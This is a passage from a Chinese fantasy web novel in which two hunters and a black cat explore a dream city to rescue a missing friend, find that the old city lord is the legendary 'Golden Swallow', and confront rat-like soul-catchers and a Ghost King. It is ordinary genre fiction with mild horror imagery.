孙菱擦擦小金锭,咬了一口,留下个牙印,笑得摸摸小咪的头,“可以给你重新打一副金首饰啦。” “咪呜。”小咪学着她,用牙啃着黄金,发现没有味道,就没兴趣地走到一边,慵懒地躺在墙头。 孙菱:“等一会入梦,不知道会梦见什么呢?不会梦见狸大圣吧。” “咪?”小咪耳朵抖了抖。 孙菱拿着从说书人那翻来的话本,继续看金燕子与鬼王的故事。事情到如今,已经不能将话本看作虚构的故事了,不夜城中的一切在影响着现实,如果再发展下去,说不定鬼王会从不夜城脱困。 “脱困?”孙菱想到什么,把话本翻了几页,“阿炫,你看这一节,说的就是鬼王脱困,故事里鬼王被困在了魇地,想方设法脱困而出,一来人间就屠杀了半座城,好在金燕子巧施计谋,趁着它大宴四方时,在酒宴里下毒,带着伙伴把它重新封印。” 现在金燕子已经没有了,无人能阻止它脱困,来到人间。 孙菱垂眸看着繁华的寐城,心里漫上不祥的预感,“阿炫……阿炫!” 夏炫用手枕着后脑勺,闭上眼睛,不知什么时候睡着了。 “我在不夜城里。”他的声音从小鸟里传出。 “喵!”小咪双眼放光地盯着小鸟。 信使扑棱翅膀,飞到小咪的头顶,用喙轻轻啄两下它的毛。 夏炫抚摸着自己身后,冰凉柔软的肌肤在掌间划过,他的另一个脑袋长了出来,五官变得很清晰,自脖颈到后背,几乎都已成型。 他有点想拿着刀把那一半自己劈掉,想了想还是放弃这个念头。 “我想先去骷髅洞里探一探。” 孙菱:“你要怎么探?” 夏炫站在破庙门口,静静看着眼前浓雾聚拢,一条勾魂索黑蛇一样蹿出,勾住他的脚腕。 头、左手、右手、左脚、右脚、躯干。 他看见五条勾魂索一扯,自己整齐地被分成了六个部分。因为是在梦中,五绳分尸的时候不疼,只是有点古怪。 夏炫的脑袋被挂在一根勾魂索上,视野被迫晃来晃去。 “我已经打听过了,被使者索命以后,我们会得上失魂症,失魂症发病需要一段时间,在这段时间里,梦里的我应该也不会死,可以趁机进洞里探查情况。” 既然薛静秋不在不夜城中,也不在寐城,最有可能是同样被勾魂使者抓进了骷髅洞。 如果他也被抓进去,说不定就能找到薛静秋了。 孙菱心想,他的朋友失踪这么久,如果真被鬼王抓走,恐怕也早已经不在了,但她张了张嘴,还是不忍心说出这样的话。 “那也应该让我来嘛。我被同化的程度比你低,能撑更久。” 夏炫眉眼弯了弯,“哎,就我们队长给的那点钱,你就摸摸鱼吧,玩什么命啊?阿菱,我替你发愁啊,你都当猎人了,怎么还穷成这样……” 孙菱:“……闭嘴吧!” 实话伤人心呐。 夏炫被勾魂使者拖着,走入了骷髅洞里,洞里黑雾飘荡,浊臭熏得他双眼发直。 四周与地狱景象没什么差别,骷髅若岭,骸骨如林。 地上铺满了人皮,廊柱间缠绕着人筋。 使者勾魂索往上一荡,他的脑袋便飞了起来,挂在了高高的人塔上。这座高耸的尖塔,皆是由人的头颅垒成。 夏炫余光往左右看,在塔上遇见了老熟人,“黄五爷!” 黄五的头朝他笑,“是你啊,瓢把子可有被抓到?” “没有没有,我就进来探个路。” 黄五松了口气,闭目养神。夏炫只剩一个头,动作只能靠滚,他好奇地在这堆人头塔间滚来滚去,瞧见了前几日的妇人。 妇人的头颅还没有开始腐烂,但眼睛里没有神光,涣散的瞳孔像浑浊的鱼眼珠子,呆呆看着虚空。 夏炫打了声招呼,妇人没有回应。 “她已经死了。”黄五道,“彻底地死了,你也别乱动了,保存点精力,这样能撑得久一些。” 夏炫问:“黄五爷,你见过金燕子吗?” 黄五本想摇头,结果脑袋骨碌从塔尖滚了下来,他仰头望着夏炫,喊:“新被抓的人头就这一堆,以前被抓的在旁边,你仔细找一找吧。” 夏炫转了一圈,大部分的骷髅腐烂只剩一副白骨了,黑黢黢的眼洞无神地与他对望。他像个皮球一样蹦跶着滚到了黄五的身边,往下面看,阴暗鬼魅的地洞里,雾气飘荡,勾魂使者在雾里游走。 他记下进入骷髅洞的地图,和孙菱讲述完路线,又道:“这儿的勾魂使者至少有几千个,想要顶着它们的搜寻进来,是件不可能的事情,只有勾魂使者才能进来。” “勾魂使者才能进来?阿炫,你记得小钻风的故事吗?” …… 小咪坐在青年的胸口,把自己盘成一个球,脑袋枕着自己的尾巴。 明媚的阳光照得猫身上暖洋洋的,每一根黑色的毛都泛着金光。 孙菱把它捞了起来,一手夹住猫,飞檐走壁,跑到了天桥下。 说书人正在说“狸大人三打白骨精”的故事,人们里三层外三层围住他,听得津津有味。 孙菱把小咪往桌案上一放,“我这有个新故事,快些说给大家听。就说……” “啪——” 她将惊堂木一拍,“狸大人巧施七十二变,携手下大闹骷髅洞。” “咪呜咪呜。”小咪在旁边帮腔。 第77章 “不夜城里灯火煌,琉璃瓦下藏魍魉;骷髅洞口阴风起,白骨堆里鬼火晃。” “咪呜咪呜。” “狸大人,步生罡,筋斗云落青霄上,一声喵叫惊破九重天,吓得那鬼王魂胆丧,打得那无常无地藏。” “喵呜喵呜喵!” “狸大人,好威风,抓了耗子斗鬼神。” “咪呜咪呜咪。” “狸大人,肉垫粉,乖乖咧,让我亲一亲……”老先生情不自禁地把小黑猫抱在怀里,用力吸它的肉垫,小猫在地上跑动, 爪子里揉出一颗细砂,有股像是被太阳晒过的被褥一样奇特的焦香味。 老先生闻得上了头, 双眼迷离, 嘴里念的词也变了, “狸大人,爪子香……” 孙菱连忙拉住他,把小咪从他的怀里救了出来, “好好说你的话本故事,你干嘛呢?怎么对我们狸大人动手动脚?” 老先生讪讪笑,把惊堂木一拍,继续尽职尽责地说着咪大圣的故事。 小咪在桌子上伸了个懒腰,把自己拉成一根长长的猫条。 夏炫注意到听众们都无心听书,眼睛全黏在小黑猫上,连忙把还在伸懒腰的小咪抱起来,扛肩上就走。 “喵呜?” “狸大人,收起你无处安放的魅力吧!” 她真怕晚上进入不夜城,狸大人没有获得孙大圣的神通,反而在梦中变成了一个头顶玛丽苏光环的绝世美人……美猫,他们唯一击溃骷髅洞的方法可就不奏效了。 …… “喵呜。” 小咪抖了抖身上的毛,从孙菱怀里跳出,和几只寐城的猫贴在一起。 “你的新朋友吗?”孙菱不由感到自豪,心里想,这么快就有了新朋友,不愧是我家咪啊。 “喵呜。” 几只圆滚滚的小猫贴在一起。寐城繁华,城里的猫儿也被投喂得油光水滑,灰灰胖胖。 斑驳的阳光洒在了猫儿们的身上,这只猫的脑袋枕着那只猫的肚子,狸花的爪爪抵在白猫的脑门,猫儿们睡得四仰八叉,迷迷瞪瞪,不用操心未来,也不会被不夜城摄去魂魄。 孙菱开始羡慕猫儿们了。 小咪挨个碰了碰它们的鼻子,挤在了猫球之间,小脑袋搭着橘猫的肚子,下半身蹬着三花的脑袋,成功地融入其中,跟着一起被暖阳照得打瞌睡。 孙菱跟着头渐渐低下,又猛然抬起,警惕地打量四方。 “那群耗子可别……” 对哦,树下是猫儿们聚会的地点,睡了一大群猫,哪只不长眼的耗子敢来咬人? 孙菱心中一喜,把夏炫也背过来,对着猫儿们说:“请你们帮忙照顾下我们的身体,不要让耗子咬了我们。等我醒来,给你们买一只大烧鸡。” 她不知道猫儿们听懂了没有,但有几只猫抬起头,朝她喵了声。 应该是听懂了吧。 孙菱双手搭在脑后,侧躺下来,手抚着小咪柔软的肚皮,目光往前移,她看见了树下有一座小庙,庙门很矮,只有猫儿才能进去,庙的名字叫【黄官庙】,里面拜的不是山神土地,而是条黄狗。 这是本土最常见的大黄狗,也是许多人的童年回忆。不过这些年,城里很少看见庙里这么威武雄壮的本土黄狗了。 狗儿庙上灰尘扑扑,只剩群狸奴团成球,把它当成了窝。 不夜城也有黄官爷吗? 黄官爷也被鬼王所害,还是被百姓们遗忘? 孙菱想不通,看着小猫张大打了个哈欠,情不自禁跟着也打个哈欠。她猛地凑过去,张开自己血盆大口,凑到小咪面前。 小黑猫耳朵抖了抖,“喵呜。” “好想把你一口吞下去啊。”人类发出变态的声音。 人类红色的舌头蠕动,雪白牙齿咔嚓咔嚓响,朝着猫伸过来,要是其他猫,早就吓得炸毛弹开。但小咪已经习惯了,赵佳怡还咬过猫的鼻子耳朵爪子,边咬边发出“嘿嘿嘿”的奇怪笑声。 小咪看着笑容逐渐变得和室友相似的孙菱,叹口气,胡须抖了抖。 怎么办呢? 习惯就好了。 谁让它宠着人呢? ———— “咦,原来这座庙就是狗儿庙。” 孙菱进入不夜城,发现自己站在了破庙门口。聚义帮的帮众睁着圆溜溜的眼睛和她打招呼。 “他们会是一群小猫吗?” 孙菱打量帮众,突然觉得他们有些可爱了。 “瓢把子好!”帮众们大声囔囔。 “喵呜。”小咪纵身一跳,跳到了孙菱的脑袋上,孙菱头忍不住往下一低,被猫压得缩起脖子。 坏喽。 要是今晚在人们梦里,小咪变成了咪大圣,那她会是什么? 筋斗云?白龙马?还是通天河里那一头成了精的老鳖? 孙菱连忙把小咪抱了下来,“我抱着你。” “咪呜。”小咪不喜欢被束缚,挣扎着从人的怀里跳出来,巡视一圈自己的领地。 阿黄不知道从哪钻了出来,和她们打个招呼,带他们躲避勾魂使者的追查。 “阿黄,你在不夜城长大,知道金燕子吗?” “知道呀。”阿黄钻进狗洞,和她们招了招手。 小咪大摇大摆地走进洞里,跳到阿黄的膝盖上。阿黄盘坐在地上,手轻摸小猫柔软的脑袋,垂着眼,漆黑的瞳孔凝视着小咪。 猫抬头,对上阿黄的目光,少年豆豆眉下,长长的睫毛掩着湿润黝黑的眼睛,像浸了水的黑葡萄。 “喵呜。”小咪把下巴搁在了阿黄的手背。 “金燕子啊,”小少年露出怀念的神色,“她是个传奇……” 阿黄又把话本上的故事说一遍,孙菱没打听出什么线索,“阿炫,你在干什么?” “我?我还在地上滚。”夏炫适应随着滚动天翻地覆的视角,在堆成山的人头里找薛静秋。 “如果,”孙菱看眼和阿黄玩的小猫,“我们之前推测错了,寐城是一个梦,不夜城才是真实的呢?如今是乱世,外面都不太平,寐城这么繁荣,反而显得古怪。” 最让她心中疑惑的,是寐城之外那堵高逾百米的城墙。城墙像一整块顺滑的黑石,外表平滑如镜,如同两条手臂合拢,护卫住这座城池。 在不夜城里,也有这座围住了城池的高墙,只是与骷髅洞相接的一部分,已经被损毁了。 “这城墙保护了寐城,让它成为了乱世里的一方乐土。但这样的墙,古代的科技水平造不出来吧。”孙菱心里警惕,如果推断出错,寐城也并非现实,他们的处境就更不容乐观了。 夏炫的声音从小鸟嘴里传出:“寐城肯定是真实存在的。读大学的时候,老师和我们说起过寐城遗址。” 薛静秋的父母是因为寐城遗址而结缘。 在课堂说,他们都提起过这座神秘的古城,把它称作流血漂橹的乱世难得的桃源乐土。 而缔造桃源的城主,也被后世极为推崇,博物馆推出的文创七星剑钥匙扣,一直是经久不衰的爆款。 “哦,七星剑?”孙菱也有印象,“我好像买过哎。” “七星剑?”阿黄眼睛黝黑发亮,“这是金燕子的佩剑!” 阿黄声音方落,两个人沉默了一瞬。小咪歪了歪头,“喵呜?” 金燕子是寐城的城主喵? 夏炫咽了口口水,轻声问:“阿黄,你见过金燕子?” 阿黄用力点头。 “金燕子在哪儿,是被鬼王抓走了吗?” 阿黄摇头,“没有……她只是,突然之间就消失了,很少再出现过了。” 小咪嗷嗷叫起来,“喵呜!” 猫要去不夜城的城主府看看。 孙菱颔首,“那我去寐城的城主府。” 既然这位金燕子同寐城的城主有关,她们便决定兵分两路,去探一下城主府的究竟。 阿黄低下头,让小咪跳到他的肩膀,“我带咪咪过去。” 孙菱则是拿起白虹贯日,往自己身上一插,在剑入肉的瞬间,现实里的她睁开眼睛。 刺目的阳光让她眯了眯眼,她用手遮住眼帘,坐了起来,看着睡了一地的猫儿,抱起了睡得迷糊的小猫,往城主府跑去。 城主府邸戒备森严,但当她亮出身份,说是狸大人求见时,少城主亲自出门迎接。 孙菱悄悄打量这位少城主。 她年纪约三四十来岁,凤眼浓眉,威严挺拔。但看起来和薛静秋一点都不相像。 孙菱保守起见,向少城主打听七星剑。 “狸大人想看七星剑?好啊!”少城主拉起她的手,带她到一间陈列满各色兵器的房间,她拿起一柄剑,猛然抽出,剑声铮铮,刃如秋水。 孙菱看得几分手痒。自从觉醒白虹贯日的能力后,她在剑术上也觉醒了天赋,看见好剑,就想切磋一下。 “这是我母亲的剑。” “城主?” 少城主颔首,微笑着摸了摸小猫的头。 孙菱:“我们能不能求见一下城主?” “母亲年岁渐长,身体不好,一直卧病休息,不好见外人。” 孙菱抿了下嘴角,如果阿黄没说错,不夜城里,七星剑是主角金燕子的佩剑,而现实里,这把剑属于寐城的老城主。说明金燕子,恰是寐城城主。 她还没有死,也没有得上失魂症变成丧尸。 只要寐城城主再次入梦,金燕子的传奇重现人间,就会像话本故事里一样,主角暴揍鬼王,把它重新封印,不会再有人被使者勾走魂魄,一切都会迎来美好结局。 “我……狸大人有很重要的事情要和城主说,有关失魂症。” 少城主表情微变,犹豫半晌,最终点头,“好吧,我带你进去,只是,”她轻轻叹了口气,“母亲年事已高,很多事都不太记得了。” 古旧的木门被推开。 浮尘在金色里光柱里上下飞扬,博山炉里熏香如烟,缓缓上升。 一个老人背对着她们,卧在竹制躺椅上,昏昏沉沉。 孙菱看不见她的面容,只能看见那头灰白色的头发,像炭火焚烧后的余烬。 她心中可惜地想,看来又找错人了。 少城主手指放在唇边,做出噤声的手势。孙菱会意,安静地抱着小猫在旁边等候。 她望着老城主低垂的头颅,心想,老城主明明入了梦,不夜城里的金燕子为什么却不再出现呢? 如果没有梦见斩妖除魔的金燕子,此刻睡着的她,又梦见了什么? ———— “咪咪,快来。” 阿黄又钻过一个狗洞,朝小咪招手。 “喵呜。” 城主府里院墙高筑,戒备森严,寻常人进不来。不过这难不倒喜欢钻狗洞的阿黄,和钻洞爬树翻墙样样精通的小咪。 钻进洞里,葱茏的绿意跃入小猫的眼睛里。 它睁大猫儿眼,朝着阿黄叫:“咪呜咪呜!” 猫认识这里。 红心公园的四个铁字招牌挂在拱形门顶上。公园里树绿湖清,鸟儿啾鸣。 与小咪记忆里的红心公园很像,只是少了很多健身器材,多了些秋千石桌。 一个小女孩坐在秋千上,她垫着脚尖在地上一点,秋千就在风中晃了起来。 “喵呜。”小咪跑过去,“喵?” “啊,是咪咪。”女孩睁大眼睛,跳下秋千,蹲在小咪面前,歪头看着她。 小咪也歪着脑袋,“咪呜?” 女孩脸上还没褪去婴儿肥,肉嘟嘟的,睫毛浓密,眼睛黝黑湿润,安静地看着小咪。她扎着两条麻花辫,抿着嘴角微笑。 她是猫喜欢的性格安静害羞的孩子。 小咪见过她,在那本经常被爷爷奶奶翻开的相册里。 猫睁大眼睛,仔细地辨认,它没有见过薛静秋,因此无法通过气味来认人,只能认认真真地打量女孩的五官。 眼睛、鼻子、嘴巴、麻花辫。 “喵喵喵!”小咪终于认出了人,高兴地朝着她叫,在她面前翻了个滚,露出自己柔软的肚皮。 是姐姐! “咪咪,我可以摸摸你的肚子吗?” “喵呜——” 小咪被她揉了揉肚皮后,又站了起来,把小脑袋钻到女孩的手下,用力拱她的掌心。 “咪呜咪呜。” 猫要在人的身上蹭出自己的味道,把她全身都标记一遍,这样,不管人走到哪里,它都能找到她了。 女孩被热情的小猫咪弄得一个劲傻笑,将脸贴在它的身上。 “秋秋!” 公园深处有人喊。 小咪耳朵竖直,猫儿眼瞪得圆圆,翘起尾巴,朝着声音传来处大步奔去,全身的毛都在飞扬。 “喵呜——” 薛芦花坐在石桌前,桌上摆放一盘没下完的围棋。 张云帆拱手求饶,“这次真的认输了,真输了,我们回家吧。” “不悔棋?” “落子无悔。” 小咪跳到了棋盘上,用力蹭着两个下棋的人。这里的薛芦花与张云帆比现实年轻许多岁,头发黑亮,意气风发。 “喵呜喵呜。” “哪儿来的小猫?秋秋,是你捡的吗?” 小女孩点头,“是咪咪自己钻出来,跟着我走的。” “你想要养小猫吗?” 小女孩用力点头,“嗯!” 张云帆看向薛芦花,小咪也期待地望着她。这位一家之主对上三双晶亮的眼瞳,板着脸,“不行……” 还没说完,小咪就跳到她的身上,超级大声地说:“喵啊——” 行!猫说行就是行! “妈妈。”女孩仰起小脸,眼神期待。 薛芦花表情微微松动,“那……好吧,先说好,自己的猫自己养。” “喵呜!” “好呀。”女孩抱起小猫,蹦蹦跳跳地走在最前面,时不时回头看看父母。 小咪趴在她怀里,脑袋搁在女孩的肩膀,凝视着年轻时的爷爷奶奶,“喵呜喵呜。” 猫回家啦! 小咪几乎以为自己离开了鬼域,回到现实。可只是眨了眨眼,梦里的一切像泡沫破裂,它掉在地上,皮毛残存着女孩温热的体温与香甜的气味。 ———— 少城主看见那头银发微颤,连忙走过去,为她披上一件披风,“母亲,您醒来啦。” 老人弯起眼睛,微笑着说:“我刚才做了个好梦呢。” “是梦见金燕子了吗?”孙菱问。 “金燕子,唔?不记得了……我梦见了我的爸爸妈妈,和一只漆黑的小猫。” 第78章 坏了。 孙菱心中一咯楞。 眼前这位老城主年纪太大, 已经忘记了话本里的传奇故事,金燕子不是死于遮天蔽日凶狠歹毒的鬼王,只是老了。 时间是一味无解的毒药。 孙菱拿出话本, 企图和城主仔细叨叨金燕子的传奇故事。 但老人看见她抱着的小黑猫,浑浊眼里闪过神光,“咪咪。” 孙菱把小猫抱紧, 生怕被人抢走了,熟睡的猫就像温热毛绒玩偶,挂在她的手臂上。 “母亲,这是狸大人。”少城主小声提醒:“我同您说过它,是浒国来的贵客。” “我在梦里见到了咪咪,”她露出一个近乎天真的笑容,喃喃:“梦里,妈妈松了口, 让我养一只猫。我能抱一抱它吗?” 孙菱纠结片刻,把小咪送过去。 城主将沉睡的小猫抱在怀里,皱纹苍苍的脸颊贴在猫柔软顺滑的长毛上。 她轻轻呼出口气,抱着猫,慢慢闭上眼睛。 ………… 小咪坐在公园里发呆。 它跳到了棋盘旁的秋千上,像人一样荡着秋千,影子出现在身后,为小猫摇晃秋千绳。 “啪!” 小咪听见声音, 猛地扭过头。 石桌旁没有人, 一个黑子却动了, 啪地一声,坚决地落在了棋盘上,发出清脆的声响。 它耳朵微动, 听见薛芦花的声音。 ………… 薛芦花坐在红心公园的棋盘前,与她对弈的,是个面孔消瘦,头发灰白的女士。 女人穿着简单的便服,气质宁静庄严。 “你的棋下得真好。”薛芦花夸赞。 小猫不在家,她在家里待得无聊,又来到老地方下棋。今天公园人很少,她坐下后,对面也同样坐下了一个神秘的女士。 公园变得很安静,平时唱歌的、跳广场舞的、练太极拳的,都早早地回去了,嘈杂的人声渐远,仿佛只有棋盘前的两个人。 “喵喵喵——”小咪大声叫,企图让奶奶听见自己的声音。 “我是静秋的上司。” 小咪歪了下脑袋,“喵呜?” 这是所长的声音! 薛芦花抬起眼睛,“静秋?” “你可以叫我辰。”所长微微侧过脸,看向石凳下。 “喵呜~” 在石凳下,有一只小黑猫正走来走去,走来走去,边走边用脑袋使劲蹭着坚硬的圆凳,好像脑袋痒一样。 “秋秋在您那工作?”薛芦花手指微抖,握不稳棋子,强笑道:“这孩子,什么都不和我们说,心里总有自己的主意。” “在她很小的时候,我就认识她了,您的女儿,是一个很有天赋的人。” “是她读初中的时候吧。”薛芦花摩挲着光滑冰凉的棋子,垂下眼睛,陷入回忆里,“那段时间她变了很多,最开始,我以为是孩子到青春期了,直到用眼睛看见了一些非自然的现象。” 她微微弯起嘴角,笑着说:“秋秋以为自己瞒得很好,阿炫也是……这些孩子啊,不太会撒谎。” “你想要她回来吗?”辰注视她的眼睛。 这是个毋庸置疑的的答案。 可薛芦花捏着棋子,半天没有说话。 “我和秋秋爸是因为寐城认识的。也许你不相信……” 在她第一次知道寐城时,心里就涌上强烈的预感。 “去寐城吧,去寐城吧,”有个声音在耳畔回响,和她反复说着这句话,“有个人在寐城等你。” 于是她来到千里之外,在茫茫黄沙里,认识了张云帆,也成功发现了古城遗迹。 在很长一段时间里,她都以为,那道声音是在暗示自己的姻缘。 直到薛静秋的出生。 看着怀里的婴儿,感受这个与自己血脉相牵的生命,她的心中忽然产生一种强烈的预感:声音里说的那个“人”,不是张云帆,而是她的孩子。 但怎么可能?寐城在千年以前,而她的女儿刚刚出生。 她看着秋秋长大。 有一段时间很流行穿越剧,她和薛静秋也看得津津有味。 电视前的女孩抬起头,问她:“妈妈,如果我也穿越了,要怎么办才好?” 薛芦花眼前的世界开始晃动,光怪陆离地摇晃,她的心跳得几乎跃出胸膛,额头沁出一层细密的汗珠。心中不祥的预感几乎到达了巅峰,她扶住沙发,一点点蹲下,与自己的女儿平视。 “妈妈,我不会像她们一样,和别人谈情说爱就忘记了妈妈,我会回家的!就算穿越到一千年前,我也会想妈妈。” 薛芦花抚摸女儿稚嫩的脸颊。 她想起了年轻时,自己从茫茫黄沙里挖出的古墓,想起墓xue中,裹着发黑锦被的枯黄遗骸。 说不上缘由的直觉,告诉了她答案。 年少时困恼自己的声音,关于寐城的执着,不是因为会在这儿遇到丈夫,而是因为,自己的女儿在黄沙底下呼唤着母亲。 她的心里疯狂在叫嚣,想扯着女孩的手,让她留下来,不要去妈妈到不了的地方,想锁住她的脚,将她永远只能留在自己身边。 但她想起了送自己远行读书的母亲。 乡下来的女人忐忑地捏着张被汗打湿的车票,站在雾蒙蒙的车站前,把手里的提篮塞到她的手里,“你好好读书,照顾自己,不要管我们。” 她也想起裹着小脚,却为女儿解开裹脚布的祖母,想起了很多很多的母亲。 薛芦花温柔一笑,把七星剑做成的小钥匙扣递给女儿,“秋秋,你知道寐城的故事吗?” “秋秋,你是青天上的鹰隼,不是妈妈手里的风筝,自由自在飞到天上去吧。” 过去在薛芦花的脑中闪过。 她知道女儿远行,去了很远的地方,也一直睁着眼睛装糊涂,守护属于孩子们的秘密。 她轻轻叹了口气,落下一字,“我很想她,但是……我不愿自己,会成为她路上的阻碍。孩子们的人生,让他们自己去决定吧。咦?” 棋盘上的棋子哗啦啦地掉在地上,雨点般弹动。 “咪呜。” 小咪跳到了棋盘,才不管什么规则,伸出毛茸茸的爪子,熟练地把棋子往旁拨弄,尽职尽责地当起桌面清理大师。 “喵呜。”它坐下来,朝着所长出声的位置大声囔囔:“喵啊——” 所长伸出手,给它挠了挠下巴,小咪将脑袋搁在她虎口,打起响亮的呼噜。 “您这是在……?”薛芦花看不见小猫,只能看见所长手指微曲,摆出个奇怪的手势。 这手势有些眼熟,像是在摸猫? “我家的咪咪。”所长嘴角往上扬,“你说得对,那么,就看孩子们的选择吧。” ———— “喵呜。” 雾气汹涌如潮,从四面八方奔来,小咪坐在石桌上,眨个眼的功夫,公园就被一片茫茫的雾海笼罩。 糟了。 猫在这里的时间太久,被勾魂使者察觉到了。 “咪咪,快点跑!”阿黄催促道。 “喵!”小咪从桌面弹跳,蹿到旁边树上,浓雾里冒出一双又一双的眼睛,勾魂索像粗壮的黑蟒爬出,追在小猫的身后。 小咪四只爪子狂奔,跑得飞快,回头看一眼,尾巴毛都炸开了。 身后像群蟒扭动,勾魂索挤满了大街,紧追在它身后,无数高瘦的影子立在浓雾里,身形模糊,一双双暗红眼睛,仿佛鬼火幢幢,恶毒地凝视着它。 “喵啊。” 吓死猫啦! 猫被吓得变成漆黑海胆,全身毛都炸开。 “瓢把子,我们来帮你!” 聚义帮的乞儿们很讲义气地冲了过来,为小咪断后,下饺子一样被勾魂索拖进了雾潮里。 “喵啊!” 小咪大喊一声。 突然,一户人家的窗户打开了,一缕雾气飘了出来。 一只黑猫飞了出来。 “喵?” 黑猫头顶戴了个小官帽,体型比小咪大一些,身体下方踩着朵五彩祥云。它坐在云朵上,坐姿端正。 小咪朝它叫了声,纵身一跳,扒拉到筋斗云上,和狸大人坐在一起。 雾气里彩云涌动,一只又一只狸大人坐着筋斗云,从人们的梦里飞了出来。 狸大人或大或小,衣着各异,有的像小咪这样坦坦荡荡,有的头顶官帽,身着官袍,有的头上插着两根鲜红的羽毛,红披风在风中飘荡。一只只圆脸金瞳的大猫小猫组成千军万马,跟在小咪的身后。 小咪:“喵啊!” 冲! “喵啊——” 一只只猫跟着它一起叫,筋斗云连绵成岭,组成一片覆盖半座城池的浓云。 雾气飞快地往回缩,雾里的鬼魅瘦长身影像逃窜的耗子,争着缩入骷髅洞。 小咪带着自己的狸大人军团停在骷髅洞黑黢黢的洞口,大声叫阵:“喵喵喵!” “喵喵喵——” 猫儿跟着它一起嚎,叫声滚滚如雷。 “喵喵喵!” 你有本事来抓猫,你有本事出来呀,别缩在里面不出声,猫知道你在家! 骷髅洞一片死寂,毫无动静。 小咪试着坐筋斗云飞进洞中,刚到洞口,又被弹了出来,只好蹲守在洞口。 而在骷髅洞里。 当猫儿们齐声叫时,洞中的骷髅像是雨点般弹动。震动从地面往上传,堆成山的白骨被震得垮了下来,跳蛙一样弹起。 夏炫感觉自己像在一面大鼓上,每一锤鼓落下,他的脑袋就和骷髅头们一起飞了起来,鼓声渐远,他的头也掉在了地上,不受控制地滚来滚去。 这是什么情况? 孙悟空打进来啦? 勾魂使者们缩进了洞中,身上裹着的浓雾被震得散了些,露出瘦长的轮廓。 夏炫微微眯起眼,觉得它们长得有些眼熟。 “吱吱吱吱。” 尖锐的叫声刺得他耳膜生疼。 夏炫定睛一看,嚯,这些瘦长漆黑的鬼影,不是一只只直立的大黑耗子嘛。而所谓的勾魂索,是它们屁股后面那一条条粗壮的黑尾巴。 这时,一个勾魂使者飘来,抬手丢下一个人头。 人头轻飘飘地掉在了夏炫身边。 第79章 夏炫愕然看着滚向自己的人。 纤长睫毛之下, 淡灰色的眼睛微微睁开,无神的眼睛越过重重白骨,撞入他的视野中。 他情不自禁往后仰了仰, 脑袋马上失去平衡,骨碌碌从骨山栽倒,视线天旋地转。 等他重新越过几座骨头堆垒的崎岖小丘,发现那个清秀的头颅依旧在原地,安静地看着他。 她的面部肌肤笼罩着一层不祥的青灰色,像瓷器一样皲裂,布满细密的裂痕。 “静秋,班长?”夏炫又等了会,眼前不知为何变得模糊,仿佛笼罩上厚厚的水雾,心里的酸涩变成热气从喉咙口爬上,蹿进眼睛鼻腔,他张了张嘴,但嘴里好像被粘腻的热意糊住,只能吐出几句语意不明的词节。 直到听见孙菱的声音,他才回过神,用力眨了下眼睛,感觉有液体顺着脸颊滑落。 “老城主精神不好,我试着在和她说金燕子的故事,也许在梦里,金燕子会重新出现。” 夏炫“嗯”了声, 把自己的发现告诉她。 “勾魂使者是耗子?最近城里的耗子也变多了,难道这件事也和不夜城有关?” 孙菱低头思索。 不对。勾魂使者是从人们的噩梦中衍生而出的怪物,怎么都和耗子搭不上边。 现在情况, 更有可能是,有人驱使耗子,冒充勾魂使者的身份。 使者身上笼罩的雾气,就是不让人们瞧见它们的真实面容。 孙菱看了眼昏昏欲睡的老人,心中愈发确定自己的猜想。 金燕子本也是一个虚构出来的形象,老城主却能以金燕子的身份在城中活动。那鬼王呢?会不会有人也冒充鬼王,役使耗子,利用人们的恐惧在城中兴风作浪? 孙菱心头巨震,伸出手,本想将猫捞回,手伸到一半,她的目光凝住,落在了老者微扬的嘴角上。 也许老城主的梦里,也会有一个狸大人吧? 她改变主意,迅速走出门,“阿炫你撑住,我去调查一下这件事。” ———— 小咪坐在筋斗云上,俯瞰不夜的城池。 鬼王像缩头乌龟一样,藏在骷髅洞里,它从云层跳下,来到了高耸的城墙上。 肉垫传来一种奇怪的质感,这座齐天的城墙漆黑,冰凉而坚韧。小咪本来以为它和城市里的高楼一样,是用钢筋混凝土堆成,可踩上去才发现,这堵墙比混凝土要柔软,却更显坚韧。 它嗒嗒跑到了骷髅洞的位置。 在城墙与骷髅洞相接之处,被骷髅咬出一道横贯整面墙的裂缝,裂缝后是鬼洞张大的洞口,洞前笼罩着不祥的青黑瘴雾。 小咪想从骷髅上爬下去,往下面看一眼,百米的高度让它抬起的爪爪又缩了回来。 “喵呜~” “喵呜喵呜~” 小咪回头看,才发现坐在云上的狸大人跟着自己飘到城墙上。 连绵的彩云飘在头顶,一只又一只黑猫脑袋从云里探了出来,对着小咪叫:“咪呜咪呜~” “喵?” 一个狸大人突然砰地一声消失不见,变成一根又细又长的柔软猫毛,贴在小咪的身上。 “喵呜喵呜~” 狸大人们一个接一个施展变化,变成了猫毛,贴到了小咪的身上。月光照在地上的小猫影子,比平时膨胀了一倍。 头顶的彩云也变幻了颜色,变得与勾魂使者身上的雾气相似,灰蒙蒙绿惨惨,遮住了小咪的身体。 小咪在云雾的托举下,飘进了骷髅洞。 洞口,好几双暗红眼睛瞟了过来,“吱吱吱吱——” “你是谁?怎敢擅闯骷髅洞?” 小咪借着迷雾遮掩,想了想,让影子开口说话,“吱吱——我也是勾魂使者。” 绿蒙蒙的雾气翻涌。 勾魂使者仔细地打量着它,只见一片青黑瘴雾里,包裹着道蓬松的身影,与它们有个八分相似。 “你怎么一点都不臭咧?” 小咪心里在骂:喵喵喵。 猫每天都会给自己舔毛,不像这群不爱干净的勾魂使者。 她的脑瓜子转得飞快,在思考怎么回答时,洞里的雾气沸腾,地动山摇,碎石如雨。使者们无暇管它,齐声高呼:“鬼王出关啦!” 趁着这个机会,小咪跳进了洞口。 洞中的夏炫感受到的震动更加明显。如山白骨如乱雨飞溅,薛静秋的头也被震得满地滚动,他没有手,不能抱起她,只好努力蹦跶,守在薛静秋旁边,喊她的名字,企图唤醒好友的神智。 “哈哈哈哈。” 一座如小山般魁梧粗壮的身影一步步移过来,每一步移动,便震得地面剧晃。 夏炫望过去。 鬼王身形无比高大,头顶着洞口,看起来有几十米高,像栋移动的大楼。它的四周同样笼罩着浓雾,遮住他的面容,只能透过极具压迫感的身影,猜测它的本相如何狰狞。 它哈哈大笑,声音滚滚若雷。 “金燕子啊金燕子,你今日总算被我抓到了吧!” “吱吱吱吱。” 使者们跟着一起欢呼,仿佛这是个了不得的好日子。 夏炫蹦跶两下,把两侧的骷髅头弄倒,盖在薛静秋的头上,把她藏了起来后,自己也屏气凝神,假装一个毫无生气的死人头,倒在了白骨山里。 “吱吱吱吱。” “快给大王烧火热锅!” 